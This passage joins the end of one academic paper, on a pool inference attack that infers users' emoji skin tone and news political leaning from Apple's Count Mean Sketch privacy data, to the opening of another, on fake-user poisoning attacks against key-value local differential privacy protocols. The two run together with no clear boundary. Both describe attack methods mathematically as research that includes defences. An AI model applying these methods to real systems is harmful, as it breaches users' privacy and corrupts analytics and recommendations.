them to the curator. The role of the intermediary is to shuffle
the obfuscated objects to anonymize them and make them
unlinkable. Shuffled differential privacy has been deployed by
Apple and Google in the context of the Exposure Notification
System for COVID-19 [3]. While adopting this model for
CMS would protect against BPIA, it effectively moves the
requirement of users’ trust from the curator to the shuffler: if
the two collude, the curator would be able to link the objects
again [7,10]. The technical guarantees of the model would be
greatly enhanced by using a mix network as the shuffler, but
these are extremely hard to deploy in practice [34]. Neverthe-
less, we believe that the shuffled model is a promising avenue
to apply local differential privacy in practice, and we hope
this paper will provide evidence of the need for its further
development and adoption.
Source code. The code to reproduce the results is available
at https://github.com/computationalprivacy/pool-
inference.

7 Related work

Our work is part of the line of research studying the guar-
antees of differential privacy against specific attacks. Previ-
ous research has studied the privacy protections of specific
differential privacy mechanisms with respect to attacks that
simulate real-world adversaries, but this line of work has so
far focused on mechanisms for central differential privacy
— the main variant of differential privacy which assumes a
trusted curator and one or more untrusted analysts. Exam-
ples include attacks against differential privacy mechanisms
to release aggregate location time-series [24–26], synthetic
data [30], and machine learning models [20, 23, 28].

To the best of our knowledge, only two papers have empiri-
cally investigated the privacy guarantees of a local differential
privacy mechanism. Pyrgelis et al. [25] propose several at-
tacks on aggregated location data that aim to recover individ-
ual users’ locations or mobility patterns. They evaluate their

attacks against SpotMe [27], a mechanism to obfuscate loca-
tion data that satisfies local differential privacy [38]. Pyrgelis
et al.’s work however considers a different adversarial setting
than ours: their attacks apply to location time-series obtained
by aggregating the obfuscated objects over multiple users,
while in our pool inference attack the adversary has access to
the individual obfuscated objects. Our attack could be simply
adapted to the SpotMe mechanism7 in order to infer the user’s
preferred pool of locations among some pools of interest —
an interesting application that we leave to future work.

Chatzikokolakis et al. [8] propose the Bayes security mea-
sure, a general metric that quantifies the expected advantage
over random guessing of an adversary that observes the output
of a mechanism. They then apply their metric to randomized
response [37] — a simple local differential privacy mech-
anism originally conceived to protect privacy in survey re-
sponses. They apply randomized response to the US 1990
Census dataset and find that it gives good protection even for
values of ε as high as 4.8. However, their evaluation focuses
on object indistinguishability — i.e. it considers an adversary
that collects an obfuscated object and whose goal is to infer
the original object. This is a significantly harder objective
compared to pool inference and, in fact, CMS’s use of hash
functions prevents this even for arbitrarily large values of ε.
Our work shows that enforcing object indistinguishability is
not enough to protect privacy in a practical setting where the
adversary has access to multiple obfuscated objects from the
same user.

8 Conclusion

Apple’s implementation of local differential privacy in iOS
and Mac OS devices has been presented as a “technology to
help discover the usage patterns of a large number of users
without compromising individual privacy” [17]. Although
researchers have criticized Apple’s choice of ε and unlimited
theoretical privacy loss over multiple observations, to our
knowledge no practical attacks have been proposed against the
mechanisms deployed by Apple. In this paper, we proposed a
Bayesian pool inference attack and we empirically evaluated
it on Apple’s Count Mean Sketch mechanism as configured
on Apple’s devices. We showed that, especially on the most
vulnerable users, the attack could be used to successfully infer
(1) the emoji skin tone that the user selects more frequently
and (2) the political orientation of the news websites that
the user is more likely to visit. Finally, we discussed how
the technical privacy guarantees against our attack could be
improved, and indicated where further research is necessary
to evaluate the privacy/utility tradeoff of these mitigation
strategies.

7The SpotMe mechanism is quite similar to CMS, but without hashing.
Hence, the probabilities PrA[x̃ | z] that are used by the attack (eq. 4) can be
computed similarly to the ones for CMS.
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A Appendix

A.1 Details of CMS

The CMS algorithm as proposed by Apple [4] is defined by
the procedure CMS. The setH= {h1, . . . ,h|H|} is a collection

Procedure CMS(x; ε,m,H)
Input: original object x; parameters ε, m,H
Output: obfuscated object x̃, index j

1 sample j uniformly at random from {1, . . . , |H|}
2 v←{0}m

3 v[h j(x)]← 1
4 sample b ∈ {0,1}m, with {b[i]}n

i=1 iid and
Pr[b[i] = 1] = 1/(1+ eε/2)

5 for i← 0 to m do
6 if b[i] = 1 then
7 flip v[i]
8 ṽ← v
9 return (ṽ, j)

of hash functions, where each h ∈H maps every element of
Ω to an integer between 0 and m− 1. The collection H is
sampled uniformly at random from a family of three-wise
independent hash functions [36]. For any finite sets A,B, a
family F of functions A→ B is three-wise independent if, for
any mutually distinct a1,a2,a3 ∈ A and for any b1,b2,b3 ∈ B,
we have that Pr[ f (a1) = b1, f (a2) = b2, f (a3) = b3] = 1/|B|3,
where the probability is computed over the uniformly random
selection of the function f ∈ F . This property is irrelevant
for the differential privacy guarantees, but it contributes to
the utility achieved by aggregating CMS objects to estimate
frequency histograms [4]. Since Apple does not specify the
family used in their implementation of CMS, we generate |H|
fully random hash functions by selecting uniformly at random
the value of h(x) for any h ∈H and x ∈Ω. This method is not
space-efficient, as it requires to store the full description of
all functions inH, but it has the advantage of removing any
possible source of regularity that might artificially improve
the accuracy of our attack. In our implementation, we follow
Apple’s choice of parameters for the number of hash functions
and set |H|= 65536 for all the experiments.
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A.2 Details of the experiments on Twitter data

Dataset. We use the dataset of tweets collected by Robertson
et al. [29], which consists of about 1.8M tweets collected in
2018 from 42K Twitter users. We consider only users who
used emojis at least 10 times across all tweets (approx. 26K).

We produce a dataset D by including, for each user, the
first 180 emojis used by the user. This sequence of emojis
represents the user’s original objects. We then apply a random
80-20 split of D to obtain D80 and D20. We process D80 to
obtain Datt — containing the users on which we will simulate
the attack by Advstrong — and D20 to obtain Dext, containing
the external population that Advstrong will use to estimate the
emojis popularity p̂Ω:
Datt — To be able to run the attack with up to n = 180 obser-
vations for each user, if the user has less than 180 objects, we
repeat the user’s observations in chronological order until we
reach 180 objects. For example, if a user originally has only
53 original objects x1, . . . ,x53, we produce 127 new objects
such that x54 = x1,x55 = x2, . . . ,x180 = x21. Finally, we keep
only the users who have at least one emoji supporting skin
tones, since they are the users on which the attack can be
applied (γUsr > 0). After this, Datt contains ≈18K users with
180 emojis each.
Dext — Similarly, to obtain Dext we augment the data in D20.
This is necessary because D20 contains only 540K original
objects in total, while in the experiments with synthetic data
the external dataset contains N = 106 objects (see section 4).
For a fair comparison, we duplicate the original objects inD20
so that the size of Dext is 2×540K≈ 106. We note that this
does not affect the validity of our experiments: in a realistic
setting, the curator (acting as Advstrong) would likely have
access to millions of obfuscated objects (see section 6).
Relevant interest and polarization. Using the so obtained
dataset Datt, we compute each user’s preferred pool PUsr, rel-
evant interest γUsr, and polarization δUsr on the full sequence
of 180 original objects. We recall that these parameters do
not depend on the attack and are not known to Advstrong, but
they are useful to describe how vulnerable Usr is. Given Usr’s
sequence of original objects x = x1, . . . ,x180 and a subset of
the universe S ⊆ Ω, with an abuse of language we denote
|x∩S| def

= |{t : xt ∈ S}|. Then we compute:

PUsr = argmax
Pi

|x∩Pi|

γUsr =
1

180
|x∩

k⋃
i=1

Pi| and δUsr =
1

180γUsr
|x∩PUsr|

Figure 11 shows how the relevant interest γUsr and the polar-
ization δUsr are distributed across users in Datt. In particular,
the results show that relevant interest is overall not very high,
with 71.8% of the users having γUsr < 0.2, meaning that they
select emojis supporting skin tone about 20% of the times or
less. On the other hand, most of them have extremely high
polarization: δUsr > 0.8 for 75.2% of the users.

Figure 11: Joint distribution of (γUsr,δUsr) in the datasetDatt.

Running the attack. We instantiate the Pool Inference Game
on each of the 18K users in Datt, independently. Since we are
now using real data, we do not need to define Usr’s behav-
ior ΦUsr — instead, we select the the first n emojis used by
Usr and run CMS (independently) on them to obtain the n
obfuscated records. We note that this choice underestimates
the success rate of our attack compared to a random sampling
of n objects, since it might be that Usr’s long-term preferred
pool is not the same as in the first n observations on which
the attack is run.

A.3 Effect of entropy

For the experiments in section 4, we have assumed that the ob-
ject popularity follows a Zipfian distribution (with parameter
1.2) within each pool. While the exact shape of the object pop-
ularity is not particularly important, for BPIA to be effective
it is important that the pools of interest do not contain a large
number of objects with non-negligible popularity. However,
this requirement applies only when the pools of interest are
large (for example, both Advweak and Advstrong achieve good
effectiveness in the news case as the pools are small). More
precisely, the effectiveness of the attack is lower when the
entropy of the popularity within pools is higher. Intuitively,
this is because large pools “contain too much noise”, but the
noise can be ignored if most of the objects contained in them
can be (correctly) ignored by BPIA — that is, when most
of these objects have low within-pool probability of being
picked by Usr (and Adv knows that).

We now show some results that illustrate this fact more in
detail. We consider the emojis setting and we run the attack
using six pools of equal size, again assuming that the popu-
larity within each pool (and in the neutral pool) is distributed
according to a Zipfian distribution. We vary both the size of
the pools (|P|= 10,50,200,400) and the Zipfian distribution
parameter (s = 0,0.5,1,2,4), for a total of 20 scenarios. Both
these values affect the entropy of the popularity within each
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|P| s = 0 s = 0.5 s = 1 s = 2 s = 4

10 3.32 3.22 2.88 1.78 0.48
50 5.64 5.44 4.61 2.19 0.48
200 7.64 7.36 5.99 2.31 0.48
400 8.64 8.33 6.64 2.33 0.48

Table 4: Entropy of the popularity within each pool of interest
when the pool has size |P| and the distribution within the pool
follows Zipfian distribution with parameter s.

pool, as illustrated in Table 4. We note that the parameter
s = 0 yields a uniform distribution. For simplicity, we simu-
late an adversary that knows the true popularity pΩ and uses
it in BPIA, i.e. Adv sets p̂Ω = pΩ. We run BPIA against 1000
users in each scenario, again using eq. 6 to define the user
behavior.

Table 5 shows that the AUC-PN of the attack is negatively
affected by the entropy of the popularity within pools. For
any size of the pools, larger values of s lead to lower entropy
(Table 4), which results in better effectiveness of the attack.
When the entropy is very low (e.g. for s = 4), the attack
is very effective even when the pools contain 400 objects
(AUC-PN = 0.98). On the other hand, when s = 0 — so that
the popularity is the uniform distribution —, the entropy is
maximal, but the AUC-PN is significantly affected only for
larger pools.

|P| s = 0 s = 0.5 s = 1 s = 2 s = 4

10 0.89 0.90 0.92 0.96 0.98
50 0.69 0.73 0.85 0.97 0.98
200 0.43 0.52 0.80 0.96 0.98
400 0.35 0.42 0.78 0.96 0.98

Table 5: AUC-PN of the attack for n = 180 observations
depending on the size and distribution within the pools.

A.4 Size of the universe

Apple’s implementation of CMS for the web domains setting
uses a universe Ω containing 250,000 objects. In order to re-
duce the computational time required to run BPIA on 150,000
users, for the experiments in section 4 we use a smaller uni-
verse containing 2,000 objects. We now show that the size of
the universe (and, in particular, of the neutral pool) has close
to no impact on the effectiveness of the attack.

We run BPIA in the exact same scenario, changing only
the value of |Ω| — in particular, we keep the same pools
of size 14, 13, 13, 10, and 10. We use universe sizes |Ω| =
1000,10000,100000,250000. These values are used both in

|Ω| n = 7 n = 30 n = 90 n = 180

1000 0.72 0.90 0.96 0.97
10000 0.71 0.88 0.95 0.97
100000 0.72 0.89 0.95 0.98
250000 0.72 0.89 0.95 0.97

Table 6: Effectiveness of the attack for Advweak in the web
domains setting depending on the size of the universe. The
four columns on the right report the AUC-PN.

the simulation of the users and in the simulation of the adver-
sary. For each size, we run the simulation on 5,000 users —
which leads to a sufficiently accurate estimate of the AUC-PN.

Table 6 reports the AUC-PN values for Advweak, which are
almost identical for all universe sizes and across all number
of observations. We omit the results for Advstrong as they are
very similar. Intuitively, the size of the universe is mostly
irrelevant to BPIA’s effectiveness because the only relevant
bits in the obfuscated objects are the ones associated (by
the randomly selected hash function) with an original object
that belongs to a pool of interest. Hence, objects from the
neutral pool are relevant only if they yield a collision with
any of these. Since the hash function is randomly selected,
the collisions tend to distribute evenly inside the pools across
multiple observations.

A.5 Effect of ε

The parameter ε controls the level of the noise in CMS, i.e.
the probability that each bit is flipped. The value of ε hence
affects the privacy guarantees and, in turn, the effectiveness
of BPIA. To quantify this impact, we simulate the attack in
the web domains setting, changing only the value of ε. We
then show how using smaller ε affects utility.
Effect on the attack. Table 8 reports the results for Advweak.
As expected, the value of ε heavily impacts the AUC-PN.
Interestingly, for ε = 0.1 the AUC-PN does not improve over
the baseline of 0.2 even after n = 180 observations — when
the total (theoretical) privacy loss is εtot = 180× 0.1 = 18.
This is remarkable because when εtot = 18, there are virtually
no theoretical privacy guarantees, and yet such ε is sufficient
to fully protect against BPIA in the web domains setting.
This highlights the importance of quantifying the privacy
guarantees of differential privacy mechanisms against realistic
attack models and scenarios when the theoretical privacy loss
is large [12].
Effect on utility. The results in Table 8 show that BPIA could
be made significantly less effective — at least in our setting —
by using ε≤ 1 in CMS. We now show that this would however
seriously impact the utility of the CMS-obfuscated objects
that are collected and aggregated by the curator. To show
this, we measure the accuracy of the object popularity that
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MAE(ṗΩ, pΩ) MAPE80(ṗΩ, pΩ)

ε Z = 106 Z = 107 Z = 108 Z = 109 Z = 106 Z = 107 Z = 108 Z = 109

0.01 0.163794 0.050822 0.015939 0.005230 184449.89% 55912.08% 17980.67% 5835.21%
0.10 0.016129 0.005109 0.001553 0.000493 18304.38% 5665.86% 1849.65% 561.66%
1 0.001572 0.000506 0.000156 0.000052 1659.39% 563.36% 174.64% 57.87%
4 0.000337 0.000111 0.000036 0.000016 376.18% 119.29% 40.34% 18.50%
8 0.000115 0.000038 0.000016 0.000013 126.35% 40.42% 18.55% 14.41%

Table 7: Utility achieved by the curator to estimate the popularity distribution pΩ when CMS is run using privacy loss ε and Z
CMS-obfuscated objects are collected.

ε n = 7 n = 30 n = 90 n = 180

0.01 0.20 0.20 0.20 0.20
0.1 0.20 0.20 0.20 0.20
1 0.23 0.29 0.36 0.40
4 0.40 0.63 0.81 0.88
8 0.72 0.90 0.96 0.97

Table 8: Effectiveness of the attack for Advweak in the web do-
mains setting depending on the value of ε. The four columns
on the right report the AUC-PN.

would be estimated by the data curator, under the different
ε values. Since this accuracy also heavily depends on the
number of CMS-obfuscated objects that are collected, we
show the results for different numbers of CMS-obfuscated
objects Z = 106,107,108,109. This can be interpreted as the
total number of objects by all users. For example, if users send
100 objects each on average, then 107 users are necessary to
collect 109 objects.

For a given value of ε and Z, we draw Z original objects
from the universe according to the true popularity pΩ. We
then apply CMS with the given ε to obtain Z obfuscated
objects, and use Apple’s algorithm to derive an estimation of
the popularity ṗΩ. Finally, we measure the accuracy of ṗΩ

by using two metrics: the mean absolute error MAE(ṗΩ, pΩ)
and the mean absolute percentage error computed on the top
80% objects8 MAPE80(ṗΩ, pΩ).

The results in Table 7 show that the accuracy of ṗΩ are
greatly affected by ε, with both the MAE and the MAPE in-
creasing about linearly with ε for any value of Z. In particular,
the results show that ṗΩ starts reaching an acceptable accuracy
(MAPE80 = 18.55%) only when ε = 8 and 108 CMS objects
are collected. Using ε = 1 for the same number of objects
would result in a much larger error (MAPE80 = 174.64%).
Even when the curator collects 109 CMS-obfuscated objects

8Since the MAPE is very sensitive to error on objects with very small
probabilities, ignoring the 20% of objects with the lowest probability gives
a clearer measure of utility. In practical deployments of local differential
privacy, determining the exact popularity of unpopular objects is likely not
necessary.

using ε = 1 still results in much lower utility: the MAPE is
57.87%, about three times as much as for ε = 8 and Z = 108.
While an extensive analysis of the utility of CMS for different
use cases is beyond the scope of this paper, these results sug-
gest that mitigating our attack by using a smaller ε parameter
in CMS would likely affect utility to an unacceptable level.

A.6 Improving the attack with other types of
auxiliary information.

In the experiments with synthetic users we decide to quan-
tify the effectiveness of the attack by randomizing the user’s
preferred pool and using uniform priors in the attack for ι,
γ and δ. In practice the adversary may use additional types
of auxiliary information to estimate distributions that would
likely improve the effectiveness of the attack in practice. For
example, the adversary might know that the user often uses
skin-toned emojis, or that they are likely to use almost always
the same skin tone. This information could be incorporated
intoM using behavioral priors pγ and pδ for γ and δ, respec-
tively. In another instance, the adversary might know that the
target user lives in a city where the majority of the population
is white, and hence might expect the target user to be more
likely to use light skin-toned emojis. This information can be
used to build a pool prior pι for ι. We leave the study of these
potential improvements for future work.
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Abstract
Local Differential Privacy (LDP) protocols enable an un-

trusted server to perform privacy-preserving, federated data

analytics. Various LDP protocols have been developed for dif-

ferent types of data such as categorical data, numerical data,

and key-value data. Due to their distributed settings, LDP

protocols are fundamentally vulnerable to poisoning attacks,

in which fake users manipulate the server’s analytics results

via sending carefully crafted data to the server. However, ex-

isting poisoning attacks focused on LDP protocols for simple

data types such as categorical and numerical data, leaving the

security of LDP protocols for more advanced data types such

as key-value data unexplored.

In this work, we aim to bridge the gap by introducing novel

poisoning attacks to LDP protocols for key-value data. In

such a LDP protocol, a server aims to simultaneously esti-

mate the frequency and mean value of each key among some

users, each of whom possesses a set of key-value pairs. Our

poisoning attacks aim to simultaneously maximize the fre-

quencies and mean values of some attacker-chosen target keys

via sending carefully crafted data from some fake users to

the sever. Specifically, since our attacks have two objectives,

we formulate them as a two-objective optimization problem.

Moreover, we propose a method to approximately solve the

two-objective optimization problem, from which we obtain

the optimal crafted data the fake users should send to the

server. We demonstrate the effectiveness of our attacks to

three LDP protocols for key-value data both theoretically and

empirically. We also explore two defenses against our attacks,

which are effective in some scenarios but have limited effec-

tiveness in other scenarios. Our results highlight the needs

for new defenses against our poisoning attacks.

1 Introduction

Nowadays, many Internet services rely on users’ data. How-

ever, it poses significant challenges to users’ privacy for a

server to collect raw data from users. Local Differential Pri-
vacy (LDP) [16] aims to address the challenges. Specifically,

LDP is a variant of differential privacy [15] under a local

setting, where each user locally perturbs his/her data before

sending it to an untrusted server. The server aggregates the

perturbed data and obtains the statistics of interest. LDP en-

sures that even if the server is compromised, users’ privacy

is still well-protected. Due to its promising resilience against

untrusted server, LDP has been widely deployed by Internet

giants such as Google [16], Apple [40], and Microsoft [13].

Moreover, LDP protocols have been proposed for different

types of data, such as categorical data [16, 30, 39, 45–47],

numerical data [13, 14], multidimensional data [44, 52], and

key-value data [24, 49]. For instance, in recommender sys-

tems, each user rates a set of items (e.g., products), where

an item and a rating can be viewed as a key and a value, re-

spectively. Thus, each user possesses a set of key-value pairs.

In current recommender systems, users send their raw key-

value pairs to the server. However, given access to users’ raw

key-value pairs, an untrusted server can infer users’ sensitive

attributes (e.g., gender, age, sexual orientation) via attribute

inference attacks [22, 32]. LDP protocols enable a server

to collect frequency (i.e., popularity) and mean value (i.e.,

mean rating) of each key from users without accessing their

raw key-value pairs and thus protect users’ rating-behavior

privacy. The collected frequencies and mean values can be

used to rank keys and make recommendations to users.

However, due to the distributed settings, LDP protocols are

vulnerable to poisoning attacks [7, 11], in which an attacker

injects fake users into the system and manipulates the server’s

analytics results via sending carefully crafted data from the

fake users to the server. Specifically, Cheu et al. [11] showed

that poisoning attacks can degrade the overall performance

for indiscriminate items, while Cao et al. [7] showed that

poisoning attacks can promote attacker-chosen target items

in LDP protocols for frequency estimation and heavy hitter

identification. However, these studies focused on simple data

types such as categorical data and numerical data, in which

each user possesses a single categorical item or numerical

value. The security of LDP protocols for more advanced data

types such as key-value data is largely unexplored.
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In this work, we aim to bridge this gap. Specifically, we

perform a systematic study on poisoning attacks to LDP proto-

cols for key-value data. In our poisoning attacks, an attacker

aims to simultaneously promote the estimated frequencies

and mean values for some attacker-chosen target keys. An

attacker can inject some fake users into the system and send

carefully crafted data to the server to achieve the attack goals.

Our attacks pose severe security threats to LDP protocols for

key-value data. For example, when such a LDP protocol is

deployed to collect popularity and mean ratings of mobile

apps in a mobile-app recommender system, an attacker can

use our attacks to promote a malicious app’s popularity and

mean rating such that it may be recommended to more people.

However, different from the poisoning attacks to LDP pro-

tocols for simple data types [7, 11], poisoning attacks to the

LDP protocols for key-value data face new challenges. Specif-

ically, key-value data are inherently heterogeneous, i.e., keys

are categorical and values are numerical. Moreover, there are

correlations between the keys and the values. In particular,

the estimated mean value of a key depends on the estimated

frequency of the key. Furthermore, each user may possess

more than one key-value pair, while each user only has a sin-

gle item or numerical value in LDP protocols for categorical

and numerical data. Therefore, existing poisoning attacks are

insufficient for LDP protocols for key-value data.

To address the challenges, we formulate our poisoning

attacks as a two-objective optimization problem, which ex-

plicitly captures the attacker’s two objectives on promoting

both the estimated frequencies and mean values of the target

keys. Specifically, we define the frequency gain (or mean
gain) as the difference between the total estimated frequency

(or mean value) of the target keys before and after attack. The

expected frequency gain and expected mean gain are the two

objective functions in our two-objective optimization prob-

lem, where the expectation is taken over the randomness in

a LDP protocol. Moreover, we propose a method, called

maximal gain attack (M2GA), to approximately solve the two-

objective optimization problem. The solution corresponds to

the crafted data fake users should send to the server. Specifi-

cally, M2GA can exactly maximize the expected frequency

gain and approximately maximize the expected mean gain.

To demonstrate the effectiveness of M2GA, we also pro-

pose two baseline poisoning attacks, called random message
attack (RMA) and random key-value pair attack (RKVA). In

RMA, each fake user sends a random message in the domain

allowed by the LDP protocol to the server, while in RKVA,

each fake user picks a random target key, associates the largest

allowable value with it, and perturbs the key-value pair fol-

lowing the LDP protocol before sending it to the server.

We apply our attacks to three state-of-the-art LDP proto-

cols for key-value data, e.g., PrivKVM [49], PCKV-UE [24],

and PCKV-GRR [24]. Moreover, we evaluate our attacks both

theoretically and empirically. Theoretically, we derive the

expected frequency gains of our attacks exactly. However, it

is challenging to derive the expected mean gains exactly be-

cause they involve divisions of random variables. To address

the challenge, we derive the expected mean gains approxi-

mately via relaxing the divisions of random variables. We

note that prior work [7, 11] found security-privacy trade-offs

in LDP protocols for categorical and numerical data, i.e., such

a LDP protocol is more vulnerable to poisoning attacks when

it is more privacy-preserving. One interesting finding from

our theoretical analysis is that, such security-privacy trade-off

does not necessarily hold in LDP protocols for key-value data.

For instance, in M2GA to PrivKVM [49], the expected fre-

quency gain increases (i.e., more vulnerable to M2GA) as the

privacy budget decreases (i.e., more privacy-preserving) when

an attacker selects one target key; the expected frequency

gain does not depend on the privacy budget when an attacker

selects two target keys; and the expected frequency gain de-

creases as the privacy budget decreases when an attacker

selects more than two target keys. Empirically, we evaluate

our attacks on multiple datasets. Our results show that M2GA

can successfully promote the estimated frequencies and mean

values of the target keys, and that M2GA substantially outper-

forms the two baseline attacks.

We also explore two defenses against our poisoning attacks.

Specifically, in one defense, the server uses one-class clas-

sifier to detect fake users via treating users’ data sent to the

server as their features. PrivKVM requires multiple communi-

cation rounds between the users and the server. Therefore, in

our second defense, the server detects fake users in PrivKVM

via checking the consistency of their data sent to the server

in multiple rounds. Our intuition is that a fake user sends

highly correlated data to the server in multiple rounds, while

a genuine user does not. Our empirical results show that our

defenses are effective in some scenarios. For instance, when

the fraction of fake users and the number of target keys are

small, M2GA achieves negligible frequency gains and mean

gains when the second defense is deployed. However, the

defenses are ineffective in other scenarios, e.g., when the frac-

tion of fake users or the number of target keys is large for the

second defense, which highlights the needs for new defense

mechanisms against our attacks.

Our contributions can be summarized as follows:

• To the best of our knowledge, we are the first to study

poisoning attacks to LDP protocols for key-value data.

• We formulate our attacks as a two-objective optimization

problem, which aims to maximize both the expected fre-

quency gain and expected mean gain of the target keys.

• We evaluate our attacks on three state-of-the-art LDP proto-

cols for key-value data both theoretically and empirically.

• We investigate two defenses against our attacks. Our results

show that the defenses can defend against our attacks in

some scenarios but not in others, which highlights that new

defenses are needed to mitigate our attacks.
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2 Related Work

Poisoning Attacks to LDP Two concurrent studies [7, 11]

proposed poisoning attacks to LDP protocols for categorical

and numerical data. In these LDP protocols, each user holds a

single item or numerical value, and a server aims to estimate

the frequencies of items or identify heavy hitters that have

the largest item frequencies. Cheu et al. [11] showed that an

attacker can downgrade the accuracy of the estimated item

frequencies or the identified heavy hitters for indiscriminate

items via injecting fake users into the system. Cao et al. [7]

showed that an attacker can increase the estimated frequencies

for attacker-chosen target items or promote them to be identi-

fied as heavy hitters. In particular, Cao et al. formulated their

poisoning attacks as a single-objective optimization problem,

where the objective function is to maximize the frequency

gains for the target items. As we discussed in Introduction,

these poisoning attacks are insufficient for LDP protocols for

key-value data.

In particular, our work differs from [7] in the following

aspects. First, we formulate a two-objective optimization

problem for key-value data instead of the single-objective

one. Second, our solutions to the optimization problems

are different. Third, we propose different defenses against

the poisoning attacks. Fourth, we observe different privacy-

security trade-off. Specifically, Cao et al. [7] found that when

the privacy guarantee is stronger, a protocol becomes less

secure to poisoning attacks. We do not necessarily observe

such privacy-security trade-off both theoretically (in some

cases) and empirically for LDP protocols for key-value data.

Poisoning Attacks to ML Poisoning attacks to machine

learning systems have been studied extensively [6, 8, 10, 17–

19, 23, 26, 28, 29, 34, 36–38, 48]. In these attacks, an attacker

manipulates the training phase of a machine learning system

via poisoning some carefully selected training examples or

tampering the training process. For instance, training-data

poisoning attacks have been studied for support vector ma-

chines [6], neural networks [10, 23, 36], and recommender

systems [18, 19, 27, 34, 48]. Training-process poisoning at-

tacks have been studied for federated learning [4, 5, 17]. Our

poisoning attacks differ from these ones because the computa-

tional process of LDP protocols is significantly different from

that of machine learning training phases.

3 Preliminaries

Before we dive into details, we summarize the important

notations we use in Table 1.

3.1 LDP Protocols for Key-Value Data
Suppose we have n users, we have a dictionary K of d keys

(i.e., K = {1,2, · · · ,d}), and each user possesses a set of KV

symbol representation

n # genuine users

m # fake users

β fraction of fake users

K dictionary of keys

d # keys

〈k,v〉 key-value pair

fk frequency of k
mk mean value of k
ε privacy budget

� padding length

r # target keys

G f frequency gain

Gm mean gain

Table 1: Notations used in this work.

pairs 〈k,v〉, where k ∈ K and v ∈ [−1,1]. Note that, without

loss of generality, we assume the values are transformed into

the range [−1,1]. A server aims to estimate the frequency and

mean value of each key among the n users. The frequency of

a key is the fraction of users who possess the key, while the

mean value of a key is the average of the values in the KV

pairs that contain the key. Formally, the true frequency fk and

mean value mk for each key k are defined as follows:

fk =
∑n

u=1 ISu(〈k, ·〉)
n

, mk =
∑u∈{1,··· ,n},〈k,v〉∈Su v

n · fk
,

where Su is the set of KV pairs possessed by user u and

ISu(〈k, ·〉) is an indicator function that equals 1 if one KV pair

in Su contains the key k and equals 0 otherwise.

Framework of LDP Protocols for Key-Value Data In

LDP protocols, each user randomly perturbs its KV pairs

and sends the perturbed data (called message) to the server.

Roughly speaking, in LDP, any two sets of KV pairs are

perturbed to the same message with close probabilities. State-

of-the-art LDP protocols [24, 49] for key-value data consist

of the following three key steps.

• Sample: A user randomly samples a key from the dictionary

and constructs a KV pair based on the sampled key.

• Perturb: The user perturbs the constructed KV pair to

obtain the message that should be sent to the server.

• Aggregate: The server estimates the frequency and mean

value of each key via aggregating the messages from all

users. We denote by f̂k and m̂k the estimated frequency and

mean value of a key k.

Next, we briefly review three state-of-the-art LDP protocols

for key-value data, i.e., PrivKVM [49], PCKV-UE [24], and

PCKV-GRR [24].
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3.2 PrivKVM
PrivKVM utilizes an iterative procedure, where the aforemen-

tioned three steps are performed for Niter rounds. Specifically,

after each round, the server has an estimated mean value m̂k
for each key k, which is used to construct messages for the

users who do not possess the key k in the next round. Next,

we describe the three steps in each round.

Sample For each user, PrivKVM samples a key k from the

dictionary uniformly at random. If the user possesses k, then

the Sample step returns the user’s KV pair 〈k,v〉, otherwise

the Sample step constructs a KV pair 〈k,v = m̂k〉 (m̂k is the

estimated mean value in the previous round and is set to

0 in the first round). The value v in the KV pair is then

discretized to v∗ = 1 with a probability of 1+v
2 and v∗ =−1

with a probability 1−v
2 . Finally, the Sample step returns a KV

pair 〈k,v∗〉 and a flag indicating whether k is possessed by the

user or not.

Perturb First, the user perturbs the discretized value v∗ to

be v′ based on the following rule:

v′ =

{
v∗ w.p. eε2

1+eε2

−v∗ w.p. 1
1+eε2

, (1)

where w.p. is short for with probability. Then, the user further

perturbs the 〈k,v′〉 pair to be 〈kp,v′p〉. Specifically, if the user

possesses the key k, then 〈kp,v′p〉 is obtained based on the

following perturbation rule:

〈
kp,v′p

〉
=

{
〈1,v′〉 w.p. eε1

1+eε1

〈0,0〉 w.p. 1
1+eε1

. (2)

If the user does not have k, then 〈kp,v′p〉 is obtained as follows:

〈
kp,v′p

〉
=

{
〈0,0〉 w.p. eε1

1+eε1

〈1,v′〉 w.p. 1
1+eε1

. (3)

Finally, the user sends the pair 〈kp,v′p〉 and the index of the

key k to the server.

Aggregate We denote by nk the number of users report-

ing the index of key k and the tuple 〈1, ·〉. Then, the server

computes the estimated frequency of k as follows:

f̂k =
p−1+nk/n

2p−1
, (4)

where p = eε1

eε1+1
. Then, the server counts the number of users

nk
1 (or nk

−1) that report the index of key k and the tuple 〈1,1〉
(or 〈1,−1〉). The server computes the estimated mean value

of k as follows:

m̂k =
n̂k

1 − n̂k
−1

nk
, (5)

where n̂k
1 and n̂k

−1 are defined as follows:

n̂k
1 =

p−1

2p−1
·nk +

nk
1

2p−1
, (6)

n̂k
−1 =

p−1

2p−1
·nk +

nk
−1

2p−1
, (7)

where p = eε2

eε2+1
. We note that frequency estimation is only

conducted in the first round, while mean estimation uses

the results after Niter rounds. The privacy budget ε1 is only

allocated to the first round, while the privacy budget ε2 is

equally allocated for each round. Specifically, we have ε1 =
ε
2

and ε2 =
ε

2Niter
, where ε is the overall privacy budget.

3.3 PCKV-UE and PCKV-GRR
PCKV-UE and PCKV-GRR are two protocols from the

PCKV family [24]. PCKV improves PrivKVM by utilizing a

padding-and-sampling strategy in the Sample step to reduce

the variance of frequency and mean value estimation. More-

over, unlike PrivKVM that performs aforementioned three

steps for multiple rounds, PCKV only requires a single round.

The two protocols PCKV-UE and PCKV-GRR mainly differ

in the Perturb step and the Aggregate step, while sharing a

common Sample step. Specifically, we have the following

workflow:

Sample Suppose a user u has a set of KV pairs Su. If

|Su|< �, where � is called padding length and is a parameter

of the protocols, then the user u pads the set Su with dummy

KV pairs {〈d +1,0〉,〈d +2,0〉, . . . ,〈d + l −|Su|,0〉}.

Note that the maximum number of dummy KV pairs is �
when Su is an empty set. After the padding, a random KV

pair 〈k,v〉 is drawn from the padded set. The value v is then

discretized in the same way as PrivKVM, i.e., the value v is

discretized to v∗ = 1 with a probability of 1+v
2 and v∗ =−1

with a probability 1−v
2 .

Perturb We denote d′ = d + l and K ′ = {1,2, · · · ,d + l}
(the dictionary with dummy keys). The Perturb steps for

PCKV-UE and PKCV-GRR are as follows:

• PCKV-UE: PCKV-UE leverages Unary Encoding (UE)

to perturb KV pairs. In particular, a perturbed vector y ∈
{1,−1,0}d′ is sent to the server, where y[i] contains value

information of key i and is obtained as follows:

y[k] =

⎧⎨
⎩

v∗, w.p. a · p
−v∗, w.p. a · (1− p)
0, w.p. 1−a

, (8)

y[i] =

⎧⎨
⎩

1, w.p. b/2

−1, w.p. b/2

0, w.p. 1−b
, i ∈ K ′ \ {k}, (9)
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where a, b, and p are as follows:

